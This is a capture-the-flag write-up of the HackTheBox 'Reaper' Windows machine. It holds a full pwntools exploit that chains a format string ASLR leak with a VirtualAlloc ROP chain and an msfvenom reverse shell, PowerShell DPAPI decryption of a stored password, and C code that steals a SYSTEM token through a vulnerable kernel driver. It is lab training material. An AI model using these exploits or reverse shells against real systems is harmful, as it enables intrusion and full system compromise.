ALL WRITE-UPS

HackTheBox - Reaper: Format String ASLR Leak, VirtualAlloc ROP Chain, DPAPI Decryption & Kernel Token Stealing

HackTheBox - Reaper: Format String ASLR Leak, VirtualAlloc ROP Chain, DPAPI Decryption & Kernel Token Stealing

fuzter

Introduction

Reaper is an Insane-difficulty Windows target on HackTheBox that tests the full spectrum of modern offensive security engineering-bridging userland reverse engineering, low-level binary exploitation under strict modern exploit mitigations, Windows DPAPI secrets extraction, and Ring-0 Windows kernel driver vulnerability research.

Rather than relying on common misconfigurations or off-the-shelf CVEs, Reaper requires a structured zero-day vulnerability research approach. The initial foothold demands reverse engineering a proprietary licensing daemon (dev_keysvc.exe) running over TCP port 4141, exfiltrated via anonymous FTP. Static decompilation in Ghidra reveals a custom key checksum verification algorithm, an unconstrained format string vulnerability in the logging subsystem, and a stack-based buffer overflow in the base64 comment handler. Exploitation requires chaining a format string info-leak to defeat Address Space Layout Randomization (ASLR), followed by a 64-bit Return-Oriented Programming (ROP) chain that invokes VirtualAlloc to allocate executable memory, bypassing Data Execution Prevention (DEP/NX) to establish a reverse shell as reaper\keysvc.

Post-exploitation transitions into local credential triage, where an encrypted DPAPI blob (automation.txt) is decrypted in-session using .NET reflection to extract plaintext credentials (keysvc:CatWinterMist10), granting interactive RDP access. Finally, local privilege escalation targets the core operating system: auditing a custom signed kernel driver (reaper.sys), reverse-engineering its IOCTL dispatch routines to construct an arbitrary 8-byte kernel read/write primitive, and traversing the active _EPROCESS circular linked list to duplicate the security token of SYSTEM (PID 4), achieving complete system takeover as NT AUTHORITY\SYSTEM.


Attack Narrative & Architecture

HackTheBox Reaper Attack Narrative & Architecture Diagram

The compromise of Reaper follows a disciplined 5-stage offensive lifecycle:

+---------------------------------------------------------------------------------------------+
|                                    REAPER ATTACK CHAIN                                      |
+---------------------------------------------------------------------------------------------+
|                                                                                             |
|   [Phase 1: Recon & Exfiltration]                                                           |
|       --> Anonymous FTP (Port 21) -> Exfiltrate dev_keys.txt & dev_keysvc.exe binary        |
|                                                                                             |
|   [Phase 2: Reverse Engineering & Dual Vulnerability Triage]                                |
|       --> Ghidra Static Decompilation -> Map custom checksum validation algorithm           |
|       --> Format String Bug in _snprintf() -> Leaks stack pointers to defeat ASLR           |
|       --> Unbounded Base64 Input -> Stack Buffer Overflow (Offset: 88 bytes to RIP)         |
|                                                                                             |
|   [Phase 3: Mitigation Bypasses & Userland Foothold]                                        |
|       --> Format String Leak (%pX) -> Calculates Dynamic Image Base (pbase)                 |
|       --> 64-bit ROP Chain -> VirtualAlloc(RSP, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE) |
|       --> Injects msfvenom Reverse Shell -> Shell as reaper\keysvc (Port 9001)              |
|                                                                                             |
|   [Phase 4: Local Post-Exploitation & DPAPI Triage]                                         |
|       --> Discovers C:\Users\keysvc\automation.txt DPAPI encrypted blob                     |
|       --> In-session DPAPI decryption via PowerShell .NET Reflection API                    |
|       --> Plaintext Credentials Recovered (keysvc:CatWinterMist10) -> RDP (Port 3389)       |
|                                                                                             |
|   [Phase 5: Ring-0 Kernel Driver Weaponization]                                             |
|       --> Enumerates loaded drivers -> Identifies C:\driver\reaper.sys                      |
|       --> Ghidra Driver Analysis: IOCTL 0x80002003 (Alloc) & 0x8000200b (Arbitrary Copy)    |
|       --> Weapons-Grade Arbitrary 8-byte Kernel Read/Write Primitive (priv.c)               |
|       --> Walks _EPROCESS ActiveProcessLinks -> Steals SYSTEM Token (PID 4)                 |
|       --> Spawns NT AUTHORITY\SYSTEM Shell -> Full Root Compromise                          |
|                                                                                             |
+---------------------------------------------------------------------------------------------+

Key Technical Takeaways:

  • Mitigation Synergy: Understanding why memory corruption vulnerabilities must be chained-using an information disclosure primitive (Format String) to defeat ASLR, followed by control-flow hijacking (ROP) to neutralize DEP/NX.
  • IAT-Constrained ROP Construction: Navigating real-world binary constraints where preferred APIs like VirtualProtect are absent from the Import Address Table (IAT), requiring creative repurposing of VirtualAlloc to allocate an executable stage.
  • DPAPI Architecture & Scope: Exploiting the fundamental design of Windows DPAPI: encrypted data blobs can be decrypted without explicit passwords by any process executing in the security context of the user whose Master Key sealed them.
  • Kernel Internals & Safe Token Stealing: Navigating undocumented Windows kernel structures (_EPROCESS, ActiveProcessLinks, Token) and weaponizing I/O Control (IOCTL) dispatch routines to achieve Ring-0 code execution without triggering kernel BugChecks (Blue Screen of Death).

Enumeration

Port Scanning & Network Topology Mapping

We initiate network reconnaissance against the target IP (10.129.234.200) using nmap. Given that Windows machines frequently drop or throttle ICMP echo requests, we supply the -Pn flag to treat the host as online and enforce a minimum packet transmission rate of 5,000 packets per second (--min-rate 5000) across the entire 65,535 TCP port spectrum:

nmap -sCV -Pn -p- 10.129.234.200 --min-rate 5000 -oA Reaper.nmap

The scan reveals a concise attack surface consisting of standard management protocols alongside an unknown proprietary network daemon listening on high port 4141/TCP:

Port Service Notes
21 FTP (Microsoft ftpd) Anonymous login allowed
80 HTTP (IIS 10.0) Default IIS page, nothing interesting
3389 RDP CN=reaper
4141 Custom service Menu-driven key activation service
  • Port 21 (FTP): Running Microsoft FTP Service. Crucially, the nmap script output indicates anonymous authentication (ftp-anon) is enabled.
  • Port 80 (HTTP): Serves the default Microsoft Internet Information Services (IIS) 10.0 splash screen. A rapid directory bruteforce using gobuster and feroxbuster yields no hidden directories, web applications, or custom endpoints.
  • Port 3389 (RDP): Standard Windows Remote Desktop protocol with TLS encryption. The self-signed certificate common name discloses the machine name: reaper.
  • Port 4141 (Unknown): An unidentified listening TCP port. Banner grabbing indicates an interactive console daemon.

FTP Reconnaissance & Binary Exfiltration

Anonymous FTP access is frequently a treasure trove on CTF targets, often exposing staging environments, configuration files, or build artifacts. We connect using the standard anonymous username and a blank password:

ftp 10.129.234.200
# Login: anonymous / (blank)
binary          # CRITICAL: must set binary mode or exe transfer corrupts
mget *

[!WARNING] FTP Binary Transfer Mode: In FTP clients, the default transfer mode is often ASCII. When transferring Windows Portable Executable (PE) files, ASCII mode will interpret any 0x0A (Line Feed) byte and mangle it by prefixing a 0x0D (Carriage Return) byte. This corrupts PE section headers, import tables, and machine code opcodes, making the binary crash immediately upon local execution. Always issue the binary command prior to downloading executables!

The anonymous root directory exposes two files:

  1. dev_keys.txt - An ASCII text file containing three development license keys and an operational note from the engineering team.
  2. dev_keysvc.exe - A 64-bit Windows PE executable file corresponding directly to the daemon running remotely on port 4141.

Analyzing dev_keys.txt

Examining the downloaded text file:

Development Keys:

100-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ==
101-FE9A1-550-A271-0109-UHJlbWl1bSBMaWNlbnNl
102-FE9A1-500-A272-0106-UHJlbWl1bSBMaWNlbnNl

The dev keys can not be activated yet, we are working on fixing a bug in the activation function.

Several observations emerge from this license sample:

  • Key Structure: Every key follows a distinct hyphen-delimited format: XXX-XXXXX-XXX-XXXX-XXXX-BASE64==.
  • Base64 Trailers: Decoding the trailing base64 strings:
    • U3RhbmRhcmQgTGljZW5zZQ== → Standard License
    • UHJlbWl1bSBMaWNlbnNl → Premium License
  • Developer Note: The developers explicitly note: "The dev keys can not be activated yet, we are working on fixing a bug in the activation function." This hint points towards an intentional software defect inside the key activation routine.

Port 4141 Network Service Interaction

We probe port 4141 interactively via netcat to analyze the protocol behavior:

nc 10.129.234.200 4141

The daemon presents a clear-text command-line menu:

Choose an option:
1. Set key
2. Activate key
3. Exit

Testing the workflow manually:

  1. Submitting 1 prompts the operator: Enter a key:.
  2. Pasting the first dev key (100-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ==) yields: [+] Valid key format.
  3. Selecting 2 ("Activate key") results in: [-] Could not find key!.
  4. Submitting a random string (e.g., AAAA-BBBB) results in: [-] Invalid key format!.

This indicates that dev_keysvc.exe performs two independent stages of verification:

  • Stage 1 (Syntax & Integrity Validation): The input string is parsed by an algorithmic validation check (presumably involving length, delimiters, and a mathematical checksum). If this fails, the key is immediately rejected.
  • Stage 2 (Database Allowlist Check): If the syntax and checksum are valid, the service attempts to locate the key inside a server-side storage file (keys.txt). Because the dev keys are not in the production database, activation fails with Could not find key!.

To identify how memory is handled and where vulnerabilities reside, we must move to offline reverse engineering.


Reverse Engineering - dev_keysvc.exe

Initial Binary Reconnaissance & Mitigation Auditing

We begin our static analysis by inspecting printable strings and auditing the compiled binary protections on our Linux host:

strings dev_keysvc.exe | grep -iE "key|valid|activ|error|license|format"

The output reveals informative debug logging strings and references to file I/O:

[Debug] Key too short!
[Debug] Invalid character (%d)!
[Debug] Checksum Provided: %d
[Debug] Checksum Calculated: %d
[Debug] Invalid checksum!
keys.txt

Next, we inspect the PE header flags and exploit mitigations using winchecksec (or dumpbin /headers):

Dynamic Base : Present   (ASLR enabled)
NX           : Present   (DEP enabled)
GS           : Present   (stack cookies)
CFG          : NotPresent

Security Mitigation Breakdown:

  • Dynamic Base (ASLR - Address Space Layout Randomization): The base address of dev_keysvc.exe is randomized at every execution. Hardcoded absolute memory addresses cannot be used in our exploit; we must discover an information disclosure vulnerability to leak a runtime address and calculate the dynamic process base (pbase).
  • NX / DEP (Data Execution Prevention / W^X): The stack and heap memory regions are marked non-executable (PAGE_READWRITE). Injecting shellcode directly onto the stack and jumping to it will immediately trigger an access violation (STATUS_DATATYPE_MISALIGNMENT or STATUS_ACCESS_VIOLATION). We must construct a Return-Oriented Programming (ROP) chain.
  • GS (Buffer Security Check / Stack Canaries): Stack cookies are compiled into vulnerable functions to detect linear buffer overflows before returning from a function frame.
  • CFG (Control Flow Guard): Disabled. Function pointers and indirect call sites (call rax, jmp [rbx]) are not verified against an OS bitmap table, simplifying ROP execution.

Ghidra Decompilation - Key Validation Routine

We load dev_keysvc.exe into Ghidra and allow auto-analysis to finish. Searching for the string "[Debug] Invalid checksum!" leads us directly to the validation xref inside function FUN_140001760.

Key Structural Constraints

Analyzing the disassembly reveals that the input string is checked for structural syntax at specific 0-indexed character offsets:

Pos:  0  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15 16 17 18  19+
      X  X  X  -  X  X  X  X  X  -  X  X  X  -  X  X  X  X  -  CHECKSUM-COMMENT
  • Dashes (-) are strictly required at index 3, 9, 13, and 18.
  • Characters in between the dashes must be ASCII printable characters.
  • Index 19 onwards contains a 4-digit numeric checksum followed by an optional hyphen and base64 comment string.

Decompiled Checksum Algorithm

The decompiled C code calculates a checksum across the first 18 characters:

// Sum all non-dash characters at positions 0-17
// subtract 0x30 from each byte value
// result mod 10000 = 4-digit checksum

local_28 = 0;
while (local_18 < strlen(key)) {
    if (local_18 < 0x12 && key[local_18] != '-') {
        local_28 += (int)key[local_18] - 0x30;
    }
    local_18++;
}
checksum = local_28 % 10000;
// compare checksum to 4-digit integer parsed from position 19

The algorithm is straightforward:

  1. Initialize an accumulator (local_28) to 0.
  2. Iterate through index 0 to 17 (local_18 < 0x12).
  3. If the character is not a hyphen (key[local_18] != '-'), take its ASCII value, subtract 0x30 (48 in decimal, equivalent to ASCII '0'), and add the resulting integer to the accumulator.
  4. Calculate the checksum by taking accumulator % 10000.
  5. Parse the 4 characters starting at position 19 as a decimal integer using atoi() and verify that it equals the calculated checksum.

Algorithmic Verification in Python

To weaponize this understanding, we write a Python function that replicates the checksum generator:

def calc_checksum(prefix):
    # prefix = "XXX-XXXXX-XXX-XXXX"
    total = sum(ord(c) - 0x30 for c in prefix if c != '-')
    return total % 10000

prefix = "100-FE9A1-500-A270"
cs = calc_checksum(prefix)
print(f"Checksum: {cs}")          # 102 - matches dev key!
print(f"Full key: {prefix}-{cs:04d}")

Running this script yields 102. Formatted with four digits (0102), it matches the first development key 100-FE9A1-500-A270-0102 exactly. We can now forge syntactically valid license keys with arbitrary prefixes and payloads!


Discovering Vulnerability 1: Format String Bug (CWE-134)

Tracing the execution flow when Option 2 ("Activate key") is invoked, the service calls an internal logging routine log_key. Decompiling this function reveals a textbook format string flaw:

_snprintf(key_string, 0xff2, (char *)key);  // key IS the format string

In secure programming, _snprintf should always be called with a static format specifier string: _snprintf(buffer, size, "%s", user_input). Here, however, the developer passed (char *)key directly as the second argument (the format string).

Because the user controls the format string parameter, any % specifiers inside our key will be evaluated by the C runtime library:

  • %p: Leaks a pointer off the current stack frame.
  • %s: Dereferences a pointer on the stack and prints arbitrary memory.
  • %n: Writes the number of characters printed so far to a target memory address.

In Windows x64 binaries, the calling convention passes the first four integer/pointer arguments via registers (RCX, RDX, R8, R9), with subsequent arguments spilled onto the stack. Sending a format string like %p allows us to dump stack memory.

Testing with %pX (using X as a clean delimiter):

  • The service prints Checking key: 0x7ff7xxxxxxxxX.
  • The leaked address consistently points to a string literal in the .rdata segment of dev_keysvc.exe ("Checking key: "), located at static offset 0x20660 from the image base.
  • ASLR Defeated: Process Base (pbase) = Leaked_Address - 0x20660.

Discovering Vulnerability 2: Stack-Based Buffer Overflow (CWE-121)

While the key prefix up to index 18 is strictly checked for format and checksum, the key parser handles the trailing comment after the checksum (everything following index 19) differently:

  • The trailing string is decoded from Base64 into a fixed-size local stack buffer.
  • Crucial Flaw: The base64 decoder does not enforce any maximum length check on the destination buffer!

To confirm the overflow and identify the crash condition, we send a cyclic pattern in the base64 comment segment:

python3 -c "
from pwn import *
prefix = b'100-FE9A1-500-A270-0102-'
payload = prefix + cyclic(500)
print('1')
print(payload.decode())
print('2')
" | nc 10.129.234.200 4141

The service crashes instantly upon processing Option 2.

Crash Analysis & Offset Determination

  1. Why must the payload be base64-encoded? Because raw binary exploitation payloads (ROP gadget addresses, pointers, and shellcode) inevitably contain null bytes (0x00). If transmitted as raw ASCII, string functions like strlen() and strcpy() terminate on the first null byte, truncating the payload. Base64 encoding completely sidesteps null-byte filtering.
  2. Using Metasploit's pattern_offset.rb on the crash dump registers reveals:
    • Offset to Return Address (RIP): Exactly 88 bytes.

We now possess all required exploit primitives:

  • Primitive 1 (Format String Leak) → Defeats ASLR, calculates pbase.
  • Primitive 2 (Stack Buffer Overflow) → Overwrites RIP at offset 88 with full control of the execution flow.

Foothold - Shell as keysvc

Attack Architecture & Mitigation Strategy

With ASLR defeated and RIP control established, our primary obstacle is Data Execution Prevention (DEP/NX). We cannot execute shellcode on the stack directly.

Why VirtualAlloc instead of VirtualProtect?

In standard Windows userland exploitation, researchers typically use a ROP chain to call kernel32!VirtualProtect:

VirtualProtect(lpAddress, dwSize, PAGE_EXECUTE_READWRITE, &oldProtect);

However, when we audit the Import Address Table (IAT) of dev_keysvc.exe, VirtualProtect is completely absent. It was never linked by the compiler!

Looking closely at the IAT, we spot another memory management API: kernel32!VirtualAlloc, present at offset 0x20000 from the binary base:

LPVOID VirtualAlloc(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
);

Under Windows memory management semantics:

  • If lpAddress points to an existing allocated stack region, and flAllocationType is set to MEM_COMMIT (0x1000), VirtualAlloc will re-commit the target memory page with the new protection flags specified in flProtect!
  • Setting flProtect = PAGE_EXECUTE_READWRITE (0x40) flips the stack page containing our shellcode from non-executable (RW-) to executable (RWX).

Windows x64 Calling Convention & ROP Gadget Assembly

The Microsoft x64 Application Binary Interface (ABI) dictates that function parameters are passed via registers:

  • 1st argument (lpAddress) → RCX (must point to our stack memory, e.g., current RSP).
  • 2nd argument (dwSize) → RDX (0x1000, 4096 bytes / one memory page).
  • 3rd argument (flAllocationType) → R8 (0x1000, MEM_COMMIT).
  • 4th argument (flProtect) → R9 (0x40, PAGE_EXECUTE_READWRITE).

Because no single "clean" gadget exists for every register, we assemble creative gadget sequences from the binary:

VirtualAlloc(
    lpAddress  = RSP (current stack, via RSP→RCX gadget chain),
    dwSize     = 0x1000,
    flType     = 0x1000  (MEM_COMMIT),
    flProtect  = 0x40    (PAGE_EXECUTE_READWRITE)
)
→ push rsp; and al, 8; ret   (lands into NOP sled)
→ \x90 * 8
→ shellcode

Detailed Gadget Breakdown:

  1. Setting R8 (0x1000):
    • mov r8, 0; add rsp, 8; ret clears r8.
    • pop rbx; ret loads 0x1000 into rbx.
    • mov r9, rbx; mov r8, 0; add rsp, 8; ret and add r8, r9; add rax, r8; ret transfer the value into r8.
  2. Setting R9 (0x40):
    • Uses a conditional move gadget: cmove r9, rdx; mov rax, r9; ret.
    • Satisfies the condition flag using pop rsi, loading 0x6348ffff, and running cmp esi, 0x6348ffff.
  3. Setting RDX (0x1000):
    • Uses pop r13; ret to load 0x1000.
    • Transfers to RDX via mov rdx, r13; call rax (with rax pointing to a benign ret gadget).
  4. Setting RCX (RSP):
    • Dynamically captures the current stack pointer: pop rbx; ret (0) → xor rbx, rsp; ret → push rbx; pop rax; ret → mov rcx, rax; ret.
  5. Calling VirtualAlloc & Pivoting:
    • Dereferences the IAT pointer via jmp qword ptr [rbx] with rbx = pbase + 0x20000.
    • Returns to a stack-pivot gadget: push rsp; and al, 8; ret, which jumps directly into an 8-byte NOP sled preceding our reverse shell payload!

Complete Python Weaponization Exploit

The complete exploit script chains all primitives into an automated, deterministic trigger:

# vulnlab reaper exploit - macz 2023/08 (adapted)
from pwn import *
import base64
import subprocess

target_ip = "10.129.234.200"
listener_ip = "YOUR_TUN0_IP"
listener_port = 9001

log.info("generating shellcode...")
subprocess.check_output(
    f"msfvenom -p windows/x64/shell_reverse_tcp LHOST={listener_ip} LPORT={listener_port} -f python -v sc -o sc.py",
    shell=True
)
from sc import *

p = remote(target_ip, 4141)

# --- Phase 1: FSB leak to defeat ASLR ---
# "Checking key: " is at offset 0x20660 from binary base
log.info("leaking program base...")
p.sendlineafter(b"Exit", b"1")
p.sendafter(b"Enter a key:", b"%pX-FE9A1-500-A270-0194-U3RhbmRhcmQgTGljZW5zZQ==")
# checksum for "%pX-FE9A1-500-A270" = 194
p.sendlineafter(b"Exit", b"2")
p.readuntil(b"Checking key: ")
leak = int(p.readuntil(b"X", drop=True).decode(), 16)
pbase = leak - 0x20660
log.info(f"leak:  {hex(leak)}")
log.info(f"pbase: {hex(pbase)}")

# --- Phase 2: ROP gadgets (relative offsets from binary base) ---
pop_rcx         = 0x00000000000031dc  # pop rcx; clc; ret
pop_rax         = 0x000000000000150a  # pop rax; ret
pop_r13         = 0x00000000000047b3  # pop r13; ret
mov_rdx_r13     = 0x000000000000368f  # mov rdx, r13; call rax
pop_rbx         = 0x00000000000020d9  # pop rbx; ret
mov_r9_rbx      = 0x0000000000001f90  # mov r9, rbx; mov r8, 0; add rsp, 8; ret
cmove_r9_rdx    = 0x000000000001f37d  # cmove r9, rdx; mov rax, r9; ret
mov_r8_0        = 0x0000000000001f93  # mov r8, 0; add rsp, 8; ret
add_r8_r9       = 0x0000000000003918  # add r8, r9; add rax, r8; ret
pop_rsi         = 0x0000000000004116  # pop rsi; ret
cmp_esi         = 0x0000000000012ddb  # cmp esi, 0x6348ffff; ret
jmp_qw_rbx      = 0x000000000001ec79  # jmp qword ptr [rbx]
pop_r12_rsi     = 0x000000000000a99a  # pop rsi; pop r12; ret

VirtualAlloc = pbase + 0x20000  # IAT entry

# Helper: load R8 with value
def load_r8(value):
    r  = p64(pbase + mov_r8_0)
    r += p64(0xdeadbeefdeadbeef)  # junk for add rsp, 8
    r += p64(pbase + pop_rbx)
    r += p64(value)
    r += p64(pbase + mov_r9_rbx)
    r += p64(0xdeadbeefdeadbeef)
    r += p64(pbase + add_r8_r9)
    return r

# Helper: load R9 with value
def load_r9(value):
    r  = p64(pbase + pop_rsi)
    r += p64(0x6348ffff)          # make cmove condition true
    r += p64(pbase + cmp_esi)
    r += p64(pbase + pop_r13)
    r += p64(value)
    r += p64(pbase + pop_rax)
    r += p64(pbase + pop_rax)
    r += p64(pbase + mov_rdx_r13)
    r += p64(pbase + cmove_r9_rdx)
    return r

# Helper: load RDX with value
def load_rdx(value):
    r  = p64(pbase + pop_r13)
    r += p64(value)
    r += p64(pbase + pop_rax)
    r += p64(pbase + pop_rax)     # fix call() side effect in mov_rdx_r13
    r += p64(pbase + mov_rdx_r13)
    return r

# Helper: RSP → RCX (lpAddress = current stack pointer)
def rsp_to_rcx():
    r  = p64(pbase + pop_rbx)
    r += p64(0)
    r += p64(pbase + 0x0000000000001fa0)  # xor rbx, rsp; ret
    r += p64(pbase + 0x0000000000001fc2)  # push rbx; pop rax; ret
    r += p64(pbase + 0x0000000000001f80)  # mov rcx, rax; ret
    return r

# Helper: jump through IAT entry
def jmp_IAT(address):
    r  = p64(pbase + pop_rbx)
    r += p64(address)
    r += p64(pbase + jmp_qw_rbx)
    r += p64(pbase + pop_r12_rsi)  # clean up stack after call
    r += p64(0xdeadbeefdeadbeef)
    r += p64(0xdeadbeefdeadbeef)
    return r

# --- Phase 3: Build full ROP chain ---
log.info("building rop chain...")
rop  = b""
rop += load_r8(0x1000)     # flAllocationType = MEM_COMMIT
rop += load_r9(0x40)       # flProtect = PAGE_EXECUTE_READWRITE
rop += load_rdx(0x1000)    # dwSize = one page
rop += rsp_to_rcx()        # lpAddress = current RSP
rop += jmp_IAT(VirtualAlloc)
rop += p64(pbase + 0x000000000001becd)  # push rsp; and al, 8; ret → land in shellcode
rop += b"\x90" * 8         # NOP sled
rop += sc                  # msfvenom reverse shell

# --- Phase 4: Send payload ---
# 88 bytes padding (cyclic) + ROP chain, base64-encoded
log.info("sending payload...")
p.sendlineafter(b"Exit", b"1")
payload = b"101-FE9A1-550-A271-0109-" + base64.b64encode(cyclic(88) + rop)
p.sendafter(b"Enter a key:", payload)

log.info("triggering exploit...")
p.sendlineafter(b"Exit", b"2")
p.interactive()

Executing the Exploit & Catching the Shell

We launch a netcat listener on our attack machine and fire exploit.py:

# Terminal 1 - listener
rlwrap nc -lvnp 9001

# Terminal 2 - exploit
python3 exploit.py

The script connects, leaks the memory pointer, computes pbase, constructs the ROP chain, and transmits the base64-encoded buffer. Within 2 seconds, our listener catches a reverse shell:

C:\keysvc> whoami
reaper\keysvc

We navigate to the user profile and recover the User Flag:

C:\Users\keysvc\Desktop\user.txt

Lateral Movement - DPAPI Credential Decryption

Identifying the Encrypted Automation Blob

Operating within our initial shell, we survey the filesystem for credentials, configuration files, and saved artifacts:

type C:\Users\keysvc\automation.txt
# 01000000d08c9ddf0115d1118c7a00c04fc297eb...

Inspecting the hex characters reveals the signature of a Windows Data Protection API (DPAPI) blob:

  • The byte stream begins with 01 00 00 00 (Version 1).
  • Followed by the 16-byte DPAPI GUID: d0 8c 9d df 15 01 11 d1 8c 7a 00 c0 4f c2 97 eb.

How DPAPI Works Internally

DPAPI uses symmetric cryptography (AES-256 or Triple-DES) to encrypt sensitive user secrets. The symmetric key is derived from the user's Master Key, which is stored securely in %APPDATA%\Microsoft\Protect\{SID}\ and sealed with a key derived from the user's login password.

Crucially, any code executing within the security context of the user whose Master Key encrypted the blob can decrypt it automatically without providing a password! The OS seamlessly unprotects the data via CryptUnprotectData().


In-Session Decryption via .NET Reflection

Using PowerShell reflection into the Windows System.Runtime.InteropServices namespace, we convert the encrypted string into a secure string, export its BSTR pointer, and marshal it back into plaintext:

$DPAPI_blob = Get-Content C:\Users\keysvc\automation.txt | ConvertTo-SecureString
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($DPAPI_blob)
[System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($decrypted)
# CatWinterMist10

The plaintext password is recovered: CatWinterMist10.

We have valid credentials for reaper\keysvc:

keysvc : CatWinterMist10

Establishing Graphical Access via RDP

With valid plaintext credentials in hand, we establish a high-performance Remote Desktop session using xfreerdp3 to facilitate file transfer and driver reverse engineering:

xfreerdp3 /u:keysvc /p:CatWinterMist10 /v:10.129.234.200 +clipboard /cert:ignore

The desktop renders cleanly, giving us full GUI access to test, compile, and execute local exploits.


Privilege Escalation - Kernel Exploitation (reaper.sys)

Auditing Installed Third-Party Drivers

To assess privilege escalation vectors to SYSTEM, we query all loaded kernel drivers on the machine using driverquery /v:

# Confirm driver is loaded and running
driverquery /v | findstr reaper
# reaper  Kernel  Auto  Running  \??\C:\driver\reaper.sys

A custom third-party driver named reaper is actively running in kernel space, located at C:\driver\reaper.sys.


Exfiltrating reaper.sys for Offline Analysis

To reverse-engineer the driver in Ghidra, we exfiltrate reaper.sys back to our attack machine. We spin up an Impacket SMB server on Kali and copy the driver over the network:

# Attacker machine
sudo impacket-smbserver -smb2support share .
# Target (RDP session)
copy-item C:\driver\reaper.sys \\ATTACKER_IP\share\

Static Reverse Engineering of reaper.sys

We import reaper.sys into Ghidra. Because this is a 64-bit Windows Kernel Driver (.sys), we locate its entry point at DriverEntry:

  1. DriverEntry creates the device object \Device\reaper and a symbolic link \DosDevices\reaper, allowing userland applications to obtain a handle via CreateFile("\\\\.\\reaper", ...).
  2. DriverEntry sets the IRP_MJ_DEVICE_CONTROL major function pointer at DriverObject->MajorFunction[0x0e] to FUN_140001020.

Navigating to FUN_140001020 reveals a dispatch routine processing three distinct I/O Control (IOCTL) codes:

IOCTL 1: 0x80002003 (Pool Allocation)

// Requires magic value 0x6a55cc9e
// Allocates 0x20-byte pool, copies user struct into it:
//   [0]  = magic
//   [1]  = thread_id
//   [2]  = priority
//   [4]  = src_address  (QWORD)
//   [6]  = dst_address  (QWORD)
DAT_140003050 = ExAllocatePoolWithTag(0, 0x20, 0x70616552);
  • Validates a 32-bit magic value 0x6a55cc9e.
  • Calls ExAllocatePoolWithTag(NonPagedPool, 0x20, 'paeR') to allocate a 32-byte chunk in non-paged kernel pool memory.
  • Copies a user-supplied structure into the allocated kernel buffer, storing the chunk pointer in global variable DAT_140003050.

IOCTL 2: 0x80002007 (Pool Free)

ExFreePoolWithTag(DAT_140003050, 0x70616552);
  • Releases the allocated kernel pool memory via ExFreePoolWithTag.

IOCTL 3: 0x8000200b (The Vulnerability - Arbitrary Kernel Copy)

// Arbitrary 8-byte kernel write - NO validation
**(undefined8 **)(DAT_140003050 + 6) = **(undefined8 **)(DAT_140003050 + 4);
// i.e.: *(dst_address) = *(src_address)

Root-Cause Vulnerability Analysis

The implementation of IOCTL 0x8000200b contains a catastrophic design vulnerability:

  • It extracts src_address (from offset +4 of the pool structure) and dst_address (from offset +6).
  • It dereferences both pointers and copies an 8-byte Quadword (QWORD) from *src_address to *dst_address.
  • Zero Memory Validation: The driver performs no pointer validation whatsoever. It does not call ProbeForRead() or ProbeForWrite(), nor does it verify whether the pointers reside in User Mode (0x0000000000000000 - 0x00007FFFFFFFFFFF) or Kernel Mode (0xFFFF800000000000 - 0xFFFFFFFFFFFFFFFF).

This primitive gives an unprivileged userland process a full arbitrary kernel read/write capability:

  • Arbitrary Kernel Read: Point src_address to any kernel address and dst_address to a userland buffer in our process. The driver reads kernel memory and writes it to our userland buffer.
  • Arbitrary Kernel Write: Point src_address to a userland buffer containing our desired value and dst_address to any target kernel memory address. The driver overwrites the kernel address with our data.

Privilege Escalation Strategy - Kernel Token Stealing

In modern Windows 10 (Build 19045), Supervisor Mode Execution Prevention (SMEP) prevents the CPU from executing instructions in user-mode pages while in Ring-0. Attempting to hijack control flow directly to execute shellcode in userland will trigger an immediate kernel BugCheck (KERNEL_SECURITY_CHECK_FAILURE or PAGE_FAULT_IN_NONPAGED_AREA).

Therefore, the cleanest and most reliable technique is Direct Kernel Object Manipulation (DKOM) Token Stealing:

  1. Every process running in Windows is represented in kernel memory by an _EPROCESS structure.
  2. Inside _EPROCESS is a pointer to the process's Token object, which defines its security context and privileges.
  3. If we replace our process's Token pointer with the Token pointer belonging to the System process (PID 4), our userland process immediately acquires the security rights of NT AUTHORITY\SYSTEM!

Kernel Structure Offsets (Windows 10 Build 19045 x64):

Field Offset Description
UniqueProcessId 0x440 Process ID (PID)
ActiveProcessLinks 0x448 Circular doubly-linked list (LIST_ENTRY) of all active processes
Token 0x4b8 EX_FAST_REF pointer to the Process Token

Exploitation Workflow:

  1. Obtain the kernel address of the System _EPROCESS structure using NtQuerySystemInformation(SystemHandleInformation).
  2. Use our arbRead() primitive to traverse the ActiveProcessLinks linked list starting from the System process.
  3. Inspect UniqueProcessId (+0x440) at each node until we locate our own process PID.
  4. Read the 8-byte Token pointer (+0x4b8) from the System process (PID 4).
  5. Use our arbWrite() primitive to overwrite our process's Token pointer (+0x4b8) with the System token.
  6. Spawn a new command prompt (cmd.exe). Because child processes inherit the security token of their parent, the resulting shell runs as NT AUTHORITY\SYSTEM!

Developing the C Exploit Harness (priv.c)

We write a dedicated C exploit implementing the IOCTL communication and token-stealing logic:

// Arbitrary read: dereference kernel pointer via IOCTL chain
QWORD arbRead(QWORD where) {
    reap ioctl;
    QWORD output;
    ioctl.magic       = 0x6A55CC9E;
    ioctl.thread_id   = GetCurrentThreadId();
    ioctl.priority    = 0;
    ioctl.src_address = where;
    ioctl.dst_address = (QWORD)&output;  // write result to our userland buffer
    Allocate(hFile, &ioctl);
    Copy(hFile);   // *(dst) = *(src) - reads kernel memory into output
    Free(hFile);
    return output;
}

// Arbitrary write: write 8 bytes to kernel address
void arbWrite(QWORD dst, QWORD src) {
    reap ioctl;
    ioctl.magic       = 0x6A55CC9E;
    ioctl.thread_id   = GetCurrentThreadId();
    ioctl.priority    = 0;
    ioctl.src_address = src;   // pointer to our value
    ioctl.dst_address = dst;   // kernel address to overwrite
    Allocate(hFile, &ioctl);
    Copy(hFile);
    Free(hFile);
}

// In main():
eProcResult result    = GetEProcessByPid(GetCurrentProcessId());
eProcResult sysresult = GetEProcessByPid(4);  // SYSTEM = PID 4

// Overwrite our token with SYSTEM's token
arbWrite(result.eProcess + 0x4b8, sysresult.eProcess + 0x4b8);
system("cmd.exe");  // spawns as NT AUTHORITY\SYSTEM

Compilation & Exploitation Execution

We compile priv.c using the 64-bit MinGW cross-compiler:

x86_64-w64-mingw32-gcc -o exploit.exe priv.c -lpsapi

